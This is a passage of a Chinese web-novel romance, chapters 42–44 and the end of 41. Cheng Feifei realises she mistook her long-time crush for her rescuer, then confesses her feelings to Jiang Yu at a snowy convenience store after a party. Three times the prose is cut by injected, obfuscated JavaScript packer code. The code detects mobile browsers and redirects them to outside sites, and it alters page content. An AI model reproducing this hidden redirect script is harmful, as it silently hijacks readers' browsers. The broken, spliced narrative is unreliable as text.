李泽昱被她的样子吓了一跳,乖乖回答:“……我当时陪爷爷住院,偶尔会去急诊当志愿者,帮帮忙。” 程霏霏好像突然被抽空了全身的力气,连那截衣袖也攥不住了。 她记得,自己刚醒过来的时候,李泽昱就站在病床边俯视着她。黑色的口罩悬在下巴上,露出关怀的笑意:“同学,你醒了?我去帮你叫护士。” 那笑容如此温暖,像阳光一样耀眼,带着神奇的力量注入她的心。 自那之后,她便把这张言笑晏晏的脸深深印在了脑海里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253000|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多年都不曾忘记。 程霏霏颤颤巍巍地后退几步:“所以……不是你送我去的医院?” 她的手脱力地垂下来,目不转睛地怔着,良久良久,默然不语。 身体里好像有什么东西压迫着她的呼吸,让她觉得喘不上气。 周遭的所有景象和声音都开始扭曲,神经质地在她的大脑里抽动起来,发出刺耳的讥笑。 李泽昱觉察到她的异样,伸手在她眼前晃了晃:“霏霏?你怎么了?” 而程霏霏呆滞地凝视着他,像是在看一个陌生人,脸上满是凄凉的惊惶。 她突然一把夺过李泽昱手中的钥匙扣,紧紧攥在手中,眼神空洞又绝望,仿佛一碰就要碎掉。 李泽昱大概猜到了事情的原委,试探着问:“那个人……对你很重要?” 程霏霏低头不语。 当然重要。 而这么重要的人,被她认错了。 她居然,认错了人! 程霏霏抬起头,不可置信地瞪视着李泽昱的面容。 她就在这么一个错误的路人甲身上耗费了两年多的时光,还闹出了一系列自作多情的荒唐事! 她甚至为了这个男人,更改高考志愿,放弃了去帝都找人的梦想,误打误撞地来了江大。 而真正的他,此刻又在哪里呢? 一股窒闷的遗憾之情在程霏霏的心间弥漫开来,脑中浑浑噩噩,怅然之下,忽然想起去年背串场稿时,白纸黑字的一句台词—— 人生南北多歧路,君向潇湘我向秦。 也许,这辈子,她再也没有办法找到他了。 这场旷日持久的暗恋,自盛夏里开启,又在严冬中止熄。 从始至终,不过是一场大乌龙罢了。 * 程霏霏不记得自己是怎样和李泽昱道别,又怎样一个人回了家。 手机上似乎有谁发来了微信,她没顾上看。 头脑昏昏胀胀,四肢虚软无力,好不容易挨乎着摸到沙发,躺下之后就没能起来。 再睁眼的时候,发现自己在医院。 程皓南探手试了试她的额头,见她醒了,立刻冲旁边喊道:“医生,我妹醒了,劳烦您来看看!” 而程霏霏扁了扁嘴,一把搂住程皓南的胳膊,不由分说就开始掉眼泪。 “呜呜呜……哥,我觉得我好像一个大傻子啊……” 程皓南心疼地皱起眉,轻拍着她的背安抚:“没事的,大不了以后哥养你。” 程霏霏嚎啕的哭声顿住,抽噎着问:“……这哪跟哪啊?” “你不是在担心期末考试没过么?不要紧,咱家还有点家底,拿不到毕业证也无所谓,可以来KTV上班。” “……” 程霏霏一把推开他,抹着泪花说:“我才不要继承KTV!” “那我继承。”程皓南笑着摸了摸她的头,“我妹以后想干什么,就去干什么,哥都支持。” 程霏霏这才破涕为笑,满意地点了点头。 到家的时候已经很晚,程霏霏没什么胃口,想要直接上楼休息。 程皓南叫住了她,递过来一只保温桶。 程霏霏看着这只眼熟的桶,讶异地挑了挑眉——这不是上回给江羽送粥的那只桶吗?怎么会在这里? “不知道是谁放在大门口的。”程皓南意味深长地看了她一眼,“应该是给你的。” 程霏霏接过桶,拧开盖子,一阵香甜的气息热腾腾地扑面而来—— 里面装的,竟然是满满的桂圆红枣茶。 透红的茶汤里飘浮着圆鼓鼓的枸杞和桂圆肉,软烂地打着滚,一看就用心煮了很久。 程霏霏捧着这壶汤水,默默地想,自己果真是一个大笨蛋,对不对? 一个人真的可以同时喜欢上两个人吗? 或许吧。 可若是真的发生了,与其苦苦挣扎,还不如听从本心,直接选第二个好了。 ——因为,你如果真的喜欢第一个,便不可能再爱上这第二人了。 42. 42 农历春节很快到来,家家户户都挂上了春联。 随着大批在城市务工的人员返乡,整个江城的人口锐减,大街上明显冷清了不少。 可再冷清,江边商业街上也依旧人流如织。 大年初五,任可心在家搓够了麻将,硬拉着程霏霏出来玩。 程霏霏不置可否。 她这一整个春节几乎没有出过门,陪完爸爸陪妈妈,彻底当了一回孝顺的宅女。 任可心打趣她:“你竟然没去找小帅哥?” “什么小帅哥……”程霏霏木着脸纠正,“人家又不是没有名字。” “得,你都没有去找江羽吗?” 程霏霏鼓了鼓嘴巴,摇摇头。 任可心摩挲着下巴,觉得很奇怪。 “自从你包养了那小子,就像得了个宝贝,三天两头的和人腻在一块,见色忘友到令人发指。不见面的时候,也天天把人挂嘴边上。可如今过大年了,你竟然没有主动关心关心人家,甚至连个面也不见……程霏霏,你不对劲。” 程霏霏扑闪着纤长的睫毛,随便找了个由头,把话题岔开:“可心,去不去唱歌?” 任可心一听,心思立马被带跑了,嗯嗯着点头。 二人即刻赶去了程霏霏家的KTV,开了个超级VIP包间。 黎玥都回家过年了,任可心也没有放过她,非把自己的拿手劲歌录了下来,发到三人小群里。 黎玥:【再发就退群了,我认真的。】 程霏霏一首歌也没点,甘心坐在一旁当听众,全程像个提线木偶。 无数旋律在耳朵里穿过,程霏霏想起上回在酒吧时,江羽唱的那首歌。 那旋律可真好听,似乎没在其他地方听过,是他自己写的吗? 酒吧老板还认他当干弟弟,又掷花又赔笑脸的…… 说不定,还有其他女顾客喜欢他…… 男生的异性缘太好也挺麻烦。 程霏霏托着下巴,兀自心烦着,连任可心跑出去接电话都没有留意到。 过了一会儿,任可心回来了,一屁股坐在她身边,沾沾自喜地说:“我想搞一个派对!” “搞。”程霏霏敷衍地响应。 “彭响过完年就要回美国了,我打算组个局,就当给他送行了,你也一道来参加!” 参加就参加呗,程霏霏不走心地点了点头。 第二天中午,她收到任可心发来的派对地址,猛地从床上坐起来。 聚会的地点不是任可心家,也不是什么餐厅或者酒吧,而是她在江大附近的那栋公寓! 程霏霏立刻给闺蜜打电话:“那地方不行!你又不是不知道,我把房子借给江羽住了。” “我知道啊——” 任可心正在超市采购聚会上要吃的零食,背景里一片喧哗。 她不得不扯着嗓子吼:“所以,我才把地方定在了那里!你呀,喜欢人家就要勇敢地上,躲着不见面算怎么回事?我这是在给你创造机会。” “……”程霏霏抿着嘴,不说话。 没否认,就是承认了。 任可心笑起来,把一捆薯角全家桶丢进推车里。 “对不喜欢的人呢,我劝你,也不要给他幻想,趁早让他死心得好!你是不知道,彭响他约不到你,就来祸害我!这些日子,我们家的鸟都没有清静日子可过。” 程霏霏握着手机,撇了撇嘴:“瞧你这丰富的理论,可心,你真的只谈过两周半的恋爱么?” “都说了,时长不是关键!”任可心啪一声挂断了电话。 程霏霏吐出一口气,有些跃跃欲试。立刻从床上跳下来,打开衣柜。 很快,床上就堆满了各式各样的大衣和裙子。 天虽然还很冷,但程霏霏绝不允许自己裹成个粽子出现在心上人面前。 没错,她的小朋友,如今是她的心上人了。 程霏霏把满床的衣裙比划来比划去,精选出一身羊毛呢小香风套装换上。 她站在镜子前,凝望着镜中的倩影。 水嫩的色调,名媛风的气质裙摆,袖边上还点缀着精致的珍珠扣,富贵典雅,美丽大方。 她皱了皱眉。 这也太“金主姐姐”了。 得努力改掉这个人设才行! 程霏霏最终还是换上了平时爱穿的卫衣和短裙,按以往的小习惯编了一条细长的小辫作点缀,雪地靴一蹬,简简单单女大学生的样子。 她揽镜自照了一番,深吸一口气,按下这些日子以来暗藏在心底的悸动、犹豫和紧张。 自从上次一别后,程霏霏已经很久没有见过江羽了。 两个人还是会发发微信,所以程霏霏知道,裴一舟邀请他回家过年了,是以放心了不少。 她其实有点担心大病初愈的冯惠珍会把江羽叫过去过年。不过幸好,江羽拒绝了。 自从觉察到自己的心意,程霏霏就陷入了一种异常纠葛的心境中。 毕竟,当初的包养协议上清清楚楚地写着:关系存续期间,严禁谈恋爱。 本来是为了约束包养对象,防止他和别人产生不清不楚的男女关系。谁成想,如今想和他不清不楚的,竟然是她自己。 程霏霏懊恼地抓了一把头发,在房间里来回踱步。 对包养对象动心这种事,的确是有点违反契约精神。 这几天她反复思考,到底要不要跟江羽摊牌。 她隐隐觉得,江羽对她,似乎也不仅限于被包养人的义务那么简单。 他应当也是有几分喜欢她的。 可问题是——程霏霏有些顾虑——男女朋友的关系是平等的,也是敏感的,江羽真的可以心平气和地接受她吗? 当初,为了追求李泽昱,她辛辛苦苦凹人设,就是为了照顾他贫穷的自尊心。 可在江羽这儿,她已经把能耍的威风通通耍了个遍,早就将真实的自己暴露无遗! 想到以前那些大胆出格的言行和做派,程霏霏就觉得脸热。 他们的关系开始得并不浪漫,一纸协议把什么都清清楚楚地摆在了台面上,和朦胧暧昧的美好恋情一毛钱关系也没有。 程霏霏蹲在镜子前,有点忧愁。 人民币玩家如果停止氪金,是否还能继续俘获少年的芳心? * 上午晴好的日光逐渐淡去,乌云渐起,呼啸的冷风变得干燥而强劲。 程霏霏坐在汽车后座上,对着窗外灰色的街道出神。 广播里插播一条天气预报:今天晚些时候,江城将有落雪。 司机兴奋地感叹:“好几年没下过雪咯,我家娃还没玩过雪呢!” 程霏霏没什么聊天的心情,一路上都有些心绪不宁。她握了握汗湿的掌心,想起江羽干燥而略带薄茧的指尖。 赶到公寓的时候,程霏霏眼前一黑,差点没有认出这个地方—— 来的人很多,比之那晚在酒吧里有过之而无不及。 一群富家小孩倒是不拘小节,沙发坐不下就坐在地上。 还有一个抢占了小黄的窝,直接把狗子捞进怀里抱着。 入户大门洞开着,客厅的茶几上摆满了各式酒品和饮料。餐桌已经支到最大,全是五颜六色的水果和零食。 连那张新买的书桌也被抬了出来,堆满了杂物。 程霏霏皱起眉,毫不客气地质问:“这张桌子是江羽的,谁同意你们随便动的!” 彭响乍见到程霏霏,还没来得及开屏,听到这话,忙不迭问:“江羽是谁?还有,这里不是你家吗?怎么会有别人的东西?” “我知道他是谁!”程霏霏的发小笑得贼兮兮,“坊间都在传,咱们程大小姐包养了一位同校的师弟,看来是真的咯?” 一听这话,彭响立马坐不住了:“不对啊,你不是喜欢那个叫李泽昱的学长嘛?” 程霏霏懒得跟他解释,径直走进衣帽间挂衣服。 彭响跟在她身后,穷追不舍地问:“真的假的?你的真包养了一个男大学生?” 程霏霏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272838|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起任可心那句“不喜欢就不要给对方念想”的话,回过身,坚定地点了点头。 “对,没错,都是真的。我有别人了,所以你别再缠着我了,彭少爷。” 彭响瞠目结舌:“……我不信,除非你把他叫过来!” 程霏霏无奈——有些人不是你给他念想,而是根本撼动不了他坚固的信仰。 不过,有一点倒是说对了,她也想把江羽叫过来。她今天来,就是来见他的。 江羽此刻应该是在鹿客上班,如果想让他早点下班的话,最简单的方法就是…… 程霏霏从房间里探出头,冲客厅里的众人嚷道:“今天的晚餐我承包了!” * 常泰放下电话,招手叫来正在忙碌的江羽,把长长的外卖订单递了过去。 “咳,下单的人说——找你们店最帅的店员来送,否则不给钱。” 江羽接过单子瞅了一眼,看到送餐地址时,微微一愣。 常泰拍着他的肩膀:“摆明了就是要你去。虽说这不是你的工作范畴吧,但这客单价着实不低,只能委屈小江你跑一趟了,送完直接下班就行。” 江羽一秒答应:“放心吧常哥,我去送。” 他换下鹿客的工作服,提着准备好的外卖箱,心急如焚地往家里赶。 江羽已经很久没见到程霏霏了。 自从上次的沙发一吻后,程霏霏忽然就开始疏远他。不接他的电话,人也避而不见。 他知道,她后来去见了李泽昱。 也不知他们聊了什么,让程霏霏的心情很不好。 过年的时候,江羽特意通过裴一舟打听了一番,得知那位李学长目前感情状况稳定、且游学计划不变,心才落回了肚子里。 不过,或许,这正是程霏霏心情不好的原因。 江羽自暴自弃地想,他果然是自作多情了。 好像做了一场短暂的美梦,江羽乍然醒来,满腔热切的期待化成空,令他沮丧得有些木然。 这些日子以来,一直沉浸在一种迟钝的难过里。 想当面道歉,又不敢贸然去打扰她,怕惹她心烦。 此刻,程霏霏竟然会在家里等着他,这个认知令他浑身的血液重新变得温热。 时近傍晚,天空不见落日,变得愈加阴沉,似乎有落雪的征兆。 寒风狂乱地嘶吼着,刀子一样刮着人的脸,可江羽仿佛毫无所觉,扛着保温箱跑得飞快。 脖子上的围巾在奔跑时散开了,领口也大敞着,可他连停下来收拾的功夫都没有,脚步不停地冲进了小区。 不知是奔跑的后劲太大,还是心情过于开心,等电梯的时候,心脏就已经不受控制地怦怦乱跳。 “叮——” 江羽到达十五楼。 刚要按下大门的密码,门却忽然从里面打开了。 一室的热闹瞬间涌了出来。 一个留着寸头的高个男生站在门口,打量了他一眼,不客气地问:“送外卖的?” 江羽立时认出了他——是那晚在酒吧里,坐在程霏霏身旁的男生。 他的视线越过这个人,不动声色地朝屋内掠去。 沙发和地板上已经坐满了人,和那晚在酒吧聚会的似乎是同一拨。 三杯两盏,觥筹交错,原来程霏霏正在这里开派对。 对方见他不应,又问了一声。 江羽这才回过神,激荡的心已经重新恢复了平静。 他把手里包装好的餐盒递过去,客气地说:“您的外卖到了。” “谢谢。” 彭响面无表情地接过餐盒,当着他的面,“嘭”一声关上了大门。 走廊重新恢复了寂静。 江羽站在门外,隐约能听见门内流淌着轻快的音乐声和热闹的欢声笑语。 他抬起手腕,想要重新敲一敲门。手指在空气中悬了半晌,最终还是犹豫着放下了。 江羽活动了一下因为跑得太急而勒疼的肩膀,抬起脚步,重新走回了电梯里。 43. 43 程霏霏从洗手间出来的时候,看见鹿客的外卖已经到了。 外卖盒挤挤挨挨地摆了一大桌,荤素搭配,鲜香迎人。 她环顾四周,问:“送外卖的人呢?” “走了啊。” 彭响刚品尝完一只蜜汁烤鸡翅,露出几分赞许的神情,又迫不及待地夹起一块牛油果滑蛋。 “不走,难道还等着要小费?” 程霏霏原地呆立了几秒钟,意识到什么,打开公寓的大门就追了出去。 “诶,你去哪儿啊?”彭响在身后大喊。 电梯门开,程霏霏的背影一闪而逝,眨眼就不见了。 一屋子的小伙伴都惊呆了,对着洞开的公寓门面面相觑。 任可心也吓了一跳,但稍微一琢磨,大概猜到了她的去处。 她赶紧招呼大家该吃吃该喝喝,不用管她,让程霏霏发自己的疯去。 * 程霏霏在电梯里轻轻跺着脚。 电梯刚到一楼,她就如出腔的小炮弹一般,疾速冲出了门厅。 凛冽的寒风轰然吹来,让她冷静了几分,这才意识到,自己走得匆忙,连外套也没有穿。 程霏霏心里暗骂一声,也顾不得其他了,当务之急是先把人追回来。 她咬咬牙,沿着小区的林荫道快速奔跑。 天色渐暗,小区外的马路上几乎没什么人影。程霏霏举目四望,一眼就看到了几十米外的江羽。 他双手插在外套口袋里,似乎在想心事,走得并不快。 这个距离,程霏霏大可以喊一声,叫他停下。可是鬼使神差地,她并没有出声。 她快走了几步,在距离江羽几米远的地方慢了下来,就这么缀在他身后。 上一秒还狂风大作的天气,此时却逐渐温和了下来。 天空中有丝丝缕缕的白絮飘落在程霏霏的脸上,冰冰凉凉。她伸手一摸,是雪花。 程霏霏搓了搓手臂,抬起头。 天地间的噪声好像都不约而同地消弭了。 细碎的冰晶逐渐膨胀,很快,硕大的雪花在程霏霏的视野里悄然降下,静谧地落在她的肩头和发顶。 前方,江羽也注意到了这漫天落雪,脚步一转,进了旁边一家24小时便利店。 便利店没什么客人,江羽围着货架转了几圈,魂不守舍地走到前台,买了一只包子。 他拎着包子,长腿一跨,在落地窗的条桌前坐了下来。 条桌正对着透明的落地玻璃。窗外,宽敞的马路上已杳无人迹。 雪花纷飞,仅一会儿功夫,整条街道就铺上了一层薄薄的素色。 不远处,朦胧的江面仿佛也拢上了轻纱,压下世间一切纷扰。 江羽寂然坐在窗前,安静地注视着空旷的雪景,一动未动。 包子微弱的热气蒸腾在塑料袋上,很快就凉透了。可是他仿若未觉,好像已经忘了。 程霏霏站在货架后,一声不响地看了他许久。 日光迅速凋零,白亮的天色顷刻间黯了下来,窗外的视野变得昏沉。 便利店的灯光将江羽的身影投射到玻璃窗上,混淆着他的视线。很快,他就只能看到自己的倒影。 他仍旧安静地坐着,清冷无声,眸子里像撒了一层苍白的灰。 程霏霏从没有见过他这副模样。 打从认识江羽以来,他就总是很和煦,像干燥的阳光,舒服地环绕着她,像是走在艳阳天里,头顶永远风和日丽。 她竟不知道,当他收起那些美好色彩的时候,会这样冷沉。 几乎令人难以靠近。 “叮咚——” 便利店有客人进来。 江羽回过神,目光微抬,在透黑的玻璃窗上看到了程霏霏静默的剪影。 他一愣,猛地站起身。 程霏霏就站在他身后,头发和肩上都湿漉漉的,鼻头冻得通红,正眼含水光地望着他。 江羽十分惊讶,脸上的情绪迅速生动起来,方才的冰冷仿佛是程霏霏的幻觉。 他整个人焕发出熟悉的鲜活,声音透着惊喜:“霏霏?你怎么在这里?” 待看清她单薄的衣衫和落了满身的雪水,江羽眉头一皱,立刻将自己的外套脱下来,披在程霏霏的肩头。 “怎么穿这么少?不怕冻坏了?” 程霏霏迟钝地摇了摇头,依旧直勾勾地看着他。 江羽搓了搓自己的手掌,覆在她通红的小脸上。 冻得木然的脸颊被掌心温热。程霏霏胸腔里的情绪似乎也跟着融化了,显得愈发清晰起来。 她不动声色地问:“为什么要走?” 江羽的眼神轻轻一闪。 “你早就下班了,为什么不回家?” “我来……买包子啊。”江羽勉强笑道。 程霏霏一个字也不相信。 “你是不是发现家里有人,所以不想回去?你讨厌他们吗?还是不喜欢被人打扰?” 江羽脸上划过一丝惊讶,摇了摇头,想要解释。程霏霏的眼眶却渐渐泛红,直至漫起一层透明的水雾。 “你如果不喜欢,为什么不让他们滚!那是你的家,凭什么要你走?” 这下子,江羽彻底呆住了。 他承认,“你的家”三个字,好像带着某种神奇的魔力,凶悍而直接地闯进他内心的柔软处,令他陡然生出一种难以自持的动容。 程霏霏环顾了一下这家便利店,眼睛里的水汽愈积愈多:“如果我不来找你,你打算在这里坐到什么时候?一整夜么?” 江羽诧异地看着情绪突然崩溃的程霏霏,眨了眨眼,心下思量一番,眉间缓缓升起一抹了然。 “霏霏,我不讨厌他们,也没有不想被打扰。那是你的房子,你邀请谁来、来做什么,都是你的自由。” 他握住她冰凉的手指,放在掌心里摩挲。 “我只是猜想,你可能……不太想让这些朋友们知道你和我的关系,所以暂时出来避一避。等他们走了,我就回去。” 程霏霏觉得荒谬,她什么时候想要隐瞒和他的关系了? 刚想出声反驳,她忽地想起来,上回在酒吧,她因为生他的气,当着这些人的面故意装作不认识他,还为了出气硬灌他酒。 原来,他竟是这样以为的? “我不知道,江城竟然能下这么大的雪。” 江羽转头望着窗外,语气很轻松,仿佛丝毫没有因为这点小事有所不快。 “我刚刚坐在这儿,一直在想,也不知道他们走了以后,你还会不会在家,我……最近都见不到你。” 他的笑容带了点踟蹰:“霏霏,如果上次的事情让你感到困扰,我向你道歉。我保证,以后再也不会了。你……你能原谅我吗?” 程霏霏低着头,没有说话。 江羽看不到她的表情,有些不安地叫她:“霏霏?” “……你不委屈吗?” 程霏霏的声音略哑,似乎带了鼻音:“我隐瞒和你的关系,在朋友面前装作不认识你,你都不觉得委屈吗?” 江羽一怔,电光火石间,意识到了什么。 “所以,你是怕我委屈,才追出来的?” 江羽眨了眨眼,似是觉得难以置信:“霏霏,你在心疼我?” 程霏霏依旧低着头,没承认,也没否认。 江羽上前一步,伸出手,将程霏霏慢慢地抱进怀中。 她没有推拒,乖乖任他抱住,鼻尖贴在他的心口。 江羽越来越笃定,程霏霏就是在担心他。 胸腔里那颗死透的心好像又重新活了过来。 江羽的唇角忍不住弯起:“傻姑娘,我有什么可委屈的?” 他将自己的衣兜全部翻出来:“你看,我浑身上下一个子儿也没有,穷成这样,哪里值得你带去给朋友瞧?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295201|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程霏霏气恼地瞪他:“不许你这么说自己!” “对不起,我收回。”江羽已经被喜悦冲昏了头脑,甚至开始胡言乱语,“那我恨不得自己再穷一点,让你多多的心疼我才好!” 程霏霏简直要被他气笑了,眼圈却红得更厉害,泪花在眼眶里打着滚,摇摇欲坠。 江羽兀自开心着,过了一会儿,感到怀里的气息越来越凌乱。 他敛下目光,勾起程霏霏的下巴——白皙的小脸上,赫然挂着两串晶莹的眼泪。 江羽顿时无措起来,抬起袖子去擦那些泪水:“我错了,我不要你心疼了,别哭……” 而程霏霏呜呜咽咽的,也不知道自己在哭什么。 江羽蹙着眉心,细细地帮她擦着泪,只觉得整颗心都被这些眼泪浸泡得酸麻鼓胀,不经意间,竟然就将心底的话说了出来。 “霏霏……” 江羽的语速极慢,带着一丝虔诚的郑重:“我知道,我什么也没有,暂时给不了你太多。可是,我会努力的。” 程霏霏愣住了,停止了抽噎。 他这是什么意思? 这是一个“包养对象”会说的话? 他是在表白吧?是吧是吧? 程霏霏的眸光亮亮的,含着直白的期冀,径直落在江羽的脸上。 江羽迎着这样的目光,愈发停止不了内心的剖白。 哪怕就此被她厌弃,他也得说完。 “霏霏,等我足够好,足够配得上你的时候,我一定……” 一定不会把你让给任何人。 程霏霏眨巴着模糊的泪眼,呆呆地望着他,脸上迅速窜起一片羞赧的潮红。 “到那时候,你愿意……做我的女朋友吗?” 便利店的门铃“叮叮咚咚”地响着,微波炉的加热声在空气里轰鸣,货架后有人在打电话,嗓门很大,吱哩哇啦地讲着听不懂的乡音。 江羽暗自懊恼——这简直是最糟糕的表白现场。 良久,程霏霏才讷讷开口:“我这个人,向来没什么耐心,最讨厌等人。” “嗯。”江羽似乎并不惊讶,垂下眼眸,嘴角牵起一个落寞的笑。 “而且,我也没有你说得那么好。我生活很懒散的,成绩也不好,脾气又差,还爱记仇……” 她想到了什么,神色有点难为情:“小提琴也拉得特别烂,怎么练都练不好。” 江羽强打精神:“那东西算什么,你要是想学,我教你。” 程霏霏不自然地清咳了一声,双手背在身后,咬了咬下唇。 “我的意思是……你刚刚不是说,自己还不够配得上我吗?可是在我看来,我在很多方面,也没有很配得上你啊。所以,我们两个是互相配不上,负负得正了,就也算……还挺般配的?” 她越说声音越小,到后来彻底没了声音,可江羽还是全都听见了。 他不可置信地抬起头,怔怔地望着她。 好像一脚踏进了一个绚烂的梦里,江羽觉得有什么温热的东西自心脏的位置迸涌,沿着血管缓缓地流淌过他的全身,连骨头缝都温暖了起来。 眼眶倏地漫起一股潮热,江羽仓促地撇过脸,无声地笑了。 两人相对站着,中间是窗外的漫天夜雪。 好像能听到雪花轻柔触碰大地的声音。 程霏霏羞红着脸,主动上前一步,重新抱住了他,假装没有看到那抹泛红的眼尾。 她轻柔地拍着他的背:“男朋友,跟我回家吧,好不好?” 江羽把头埋在她颈边,乖巧地点了点头。 温热的薄唇紧贴着她的下颌,呼吸沾湿了她的肌肤,恰如密不透风的亲吻。 他收拢手臂,加深了这个拥抱。 “程霏霏……” 江羽的声音低沉喑哑,带着动人心魄的情愫,仿若最诚挚与渴慕的祷念—— “你果真是我的救命恩人。” 44. 44 打从程霏霏一声不响地离开公寓,派对的气氛就变得有些古怪。 这次聚会的主题原本是为彭响送行,可是此刻,灵魂人物彭响正支着胳膊,大马金刀地坐在沙发上,摆着一张和全世界无法和解的臭脸。 他郁郁地说:“所以,霏霏不仅包了一个男的,还把那个男的养在家里。而他们肮脏而腐朽的据点,就是我脚下的这栋公寓?” “什么肮脏腐朽……彭响,你有毒吧!”任可心捏了捏眉心,祭出整整二十年的修养,才勉强忍住上前抽他的冲动,“我竟然会组一个局给你这家伙送行,怕也是中毒已深,伤了脑子!” “我不管,你现在马上把那个男的叫来。我倒要看看,霏霏到底看上了一个什么货色!” 门上的电子锁吱嘎一响,程霏霏打开门走了进来。 一屋子的目光顿时集中在了她身上。 她的头发湿淋淋的,身上披了一件男式外套,形象有点狼狈,心情却似乎很不错。 “离老远就听到某些人在狗叫。咱们国家的狂犬疫苗还不错,走之前记得打一针,省得出了国门到处咬人。” 狗叫的人眼见程霏霏回来了,神色稍霁,可还没来得及扑上去,就看到程霏霏的身后,跟着走进来一名男子。 ——这不是刚才那个送外卖的? 彭响的眉头锁成一团——程霏霏竟然看上了一个外卖员? “这不是……上回在酒吧唱歌的……” 人群中,已经有人认出了江羽。 回想起上次在酒吧时,程霏霏那极为反常的举动,以及后来草草离场的焦灼,大伙儿的心中顿时如明镜一般——敢情那不是什么无差别泄愤,而是小情侣在闹别扭啊! 吃瓜群众们纷纷露出“原来如此”的表情。 唯有彭响,忿忿地瞪视着眼前的江羽,几乎从鼻子里往外哼气:“你就是霏霏花钱买来的小白脸?” 这句问候极不客气,程霏霏瞬间就黑了脸,还没来得及发作,江羽却忽然牵住了她的手。 他给她递去一个安抚的眼神,转头对彭响道:“我就是。” “呵,真是世风日下。现在的大学生,有手有脚的,还净想着走这种旁门左道,软饭吃得比谁都顺嘴。”彭响毫不掩饰内心的鄙夷,上上下下打量了江羽一番,“你这种的我见得多了,不过就是长了一张女人喜欢的脸,半点真本事没有,就是男人中的败类!” “败类”本人唇角一勾,非但不恼,还无奈地耸了耸肩:“没办法,老天爷赏饭吃。” 彭响更为恼火了,一张脸涨得爆红。 他手指着江羽,声音都气哆嗦了:“你和霏霏在一块,我彭响第一个不服!有种,就来跟我比试比试!” “好啊,比就比。” 程霏霏:? 怎么就要比了? 比什么?有什么可比的?这帮男的,至死都是小学生吧! 她不得不钻进二人之间,拦住即将爆发的战火。 程霏霏低声对彭响道:“看在咱们认识多年的份上,我好心劝你,不要轻易下这种战书。论智商,江羽可是我们学校拓知的学生。你没事可以去查查拓知的录取线,哪是你这种学渣能叫板的?论才华……算了,那种东西你压根就没有!” 彭少爷被这么一劝,心中的邪火烧得更旺了,看江羽的眼神就像看毕生死敌——今天要不在这里分出个胜负,他彭响这辈子怎么还响得起来! 这种时刻,唯有祭出大招。 彭响瞪视着江羽那张气死人的脸,嘴角缓缓牵起一个挑衅的笑:“谁说我样样比不过这孙子?你们别忘了,老子有一项铁定比他强——比他有钱!” 说着,他昂首阔步地冲进房间,从自己的背包里端出一台锃光瓦亮的盒状物,毫不客气地怼在了桌面上。 “喂,见过么?”彭响昂着下巴,像一只傲慢的公孔雀,恨不得拿鼻孔看江羽,“没见过也正常,毕竟,是你这种穷人玩不到的,这可是——” 江羽看着桌上的东西,眼睛都亮了:“新版不是才出?你怎么搞到手的?” “呵,不懂了吧!哥们儿我深耕游戏界,区区一个新版,那不是分分钟……不对!什么鬼!你会玩么,敢比么?” “敢敢敢。”江羽点头如捣蒜,连阴阳怪气都忘了。 他走到电视柜前,在线盒里精准翻出几根要用的数据线,几下将游戏机连上了大屏。 接着,熟练地抄起一只手柄,扔进了彭响怀里——那动作利索得,旁边的人都差点没看清。 江羽拿来一个软垫,率先在电视机前坐好了,顿了顿,忽然回身道:“我们能把你账号里的游戏都比一遍么?” 彭响:“……” 这种即将要被白嫖的感觉是怎么回事! * 整个晚上,客厅里叽里哐啷的游戏音效就没消停过,把寂静的雪夜衬得尤为热闹。 男生们全部围在屏幕前观战,一边实时发出激烈的点评。 彭响没想到,这穷学生玩起游戏来竟然丝毫不落下风,枪端得比谁都稳,战术还鸡贼得要命。回回搞得他焦头烂额,不得不全力应付。 程霏霏捧着一碟水果,站在人堆后头。 人群中央,屏幕上五颜六色的光映在江羽的侧颜,照亮他全然沉浸的眼眸。 程霏霏好像忽然窥得了一点江羽的青春。 他一定曾经和普通的男生一样,无忧无虑地长大,过着平凡幸福的日子,不需要承受生存的重压,可以肆无忌惮地追逐自己想要的生活…… 身后,任可心忽然搭上了她的肩膀:“你看那小子的目光,有点危险。” 程霏霏的嘴角弯起一个得意的弧度:“我男朋友厉害吧?” “真的假的!”任可心瞪圆了眼睛,“霏霏,你终于要见色忘友、彻底抛弃我和黎玥了对吗?” 程霏霏将一枚小番茄塞进嘴里,不置可否地答:“想吃什么?我请客。” 任可心嗷了一嗓子,掐着她的脖子恭喜了一番。还拿出手机,第一时间把这个劲爆的消息告诉了全世界。 程霏霏笑得嘚瑟,对吃了满嘴狗粮的朋友们表示有求必应,绝不食言。 派对一直持续到深夜,到最后,大家都玩得有些体力不支。 桌子上全是扫荡后的残羹冷炙,喝空了的酒瓶滚了满地,天花板上似乎还回荡着激烈的枪战声。 彭响已经成醉成了一条狗,被两个男生架着往外走。 临了还依依不舍,大着舌头喊:“霏……霏,我去美国以后,你要想……想……” 